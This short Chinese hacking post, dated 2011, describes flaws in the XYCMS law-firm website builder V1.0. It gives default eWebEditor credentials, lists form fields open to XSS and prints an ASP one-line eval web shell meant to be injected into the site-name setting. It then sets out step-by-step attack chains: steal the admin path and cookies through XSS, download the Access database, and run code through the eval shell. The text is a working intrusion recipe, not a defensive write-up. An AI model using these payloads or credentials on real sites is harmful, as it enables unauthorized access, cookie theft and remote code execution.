xycms

XYCMS律师事务所建站系统V1.0多处缺陷漏洞预警-电脑资

料

##XYCMS律师事务所建站系统V1.0

##B0mbErM@n;2011-2-18

#eWebEditor

##Ur=XY2010Pass=XY2010

##XSS

#Qq:[XSS]

Mail:[XSS]

Photo:[XSS]

Contents:[XSS]

##Eval

#WebName:<%evalrequest("pass")%>

##MDB

##Hacking

1:eWebEditor

2:XSS+Eval

(1)标题和姓名写的真实些

(2)插入XSS获取后台路径以及cookie

(3)Eval

3:MDB+Eval

(1)MDB

(2)Eval

4:XSS+MDB+Eval

(1)MDB

(2)XSS-标题和姓名写的真实些

(3)插入XSS获取后台路径

(4)Eval